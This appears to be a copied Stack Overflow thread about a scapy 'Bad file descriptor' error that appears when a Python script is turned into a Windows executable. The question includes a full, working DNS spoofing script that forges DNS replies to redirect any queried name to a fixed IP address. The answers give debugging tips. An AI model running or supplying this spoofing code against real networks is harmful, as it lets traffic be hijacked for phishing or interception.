scapy OSError: [Errno 9] Bad file descriptor

旧街凉风 提交于 2019-12-24 11:47:01

问题


I'm using python 2.7 and scapy-2.2.0 in windows xp. I'm trying dns spoofing and it works well in python. but when I make to .exe and execute it, I got this error

Traceback (most recent call last):
File "dns_spoof.py", line 17, in <module>
File "scapy\arch\windows\__init__.pyc", line 523, in sniff
File "dns_spoof.py", line 15, in dns_spoof
File "scapy\sendrecv.pyc", line 251, in send
File "scapy\sendrecv.pyc", line 237, in __gen_send
OSError: [Errno 9] Bad file descriptor

How can I fix it? Please help.

This is source code.

import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
try:
    from scapy.all import *
except:
    from scapy import *
def dns_spoof(pkt):
    redirect_to = '172.16.22.91'
    if pkt.haslayer(DNSQR): # DNS question record
        spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                      UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                      DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \
                      an=DNSRR(rrname=pkt[DNS].qd.qname,  ttl=10, rdata=redirect_to))
        send(spoofed_pkt)
        print 'Sent:', spoofed_pkt.summary()
sniff(filter='udp port 53', iface='eth0', store=0, prn=dns_spoof)

回答1:


It looks like a wrong file descriptor (handle) is being used. E.g. something open as stdout (pipe) is used as a socket.

If I understand correctly, same program works from source and fails when rolled into an exe. Am I right?

If you ran it on linux, you would use strace to figure out which.

Equivalent tools on windows are Process Monitor and Logger.exe.




回答2:


I had the same error when I tried send(IP(dst="1.2.3.4")/ICMP()), and I found on github that my problem was that I was using IDLE instead of the Command Prompt/Powershell on windows. This is the output in the Powershell:

>>> send(IP(dst="1.2.3.4")/ICMP())
.
Sent 1 packets.

Maybe this is not the problem OP had, but this is the first thread on Google so it might help someone.



来源:https://stackoverflow.com/questions/24380130/scapy-oserror-errno-9-bad-file-descriptor

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!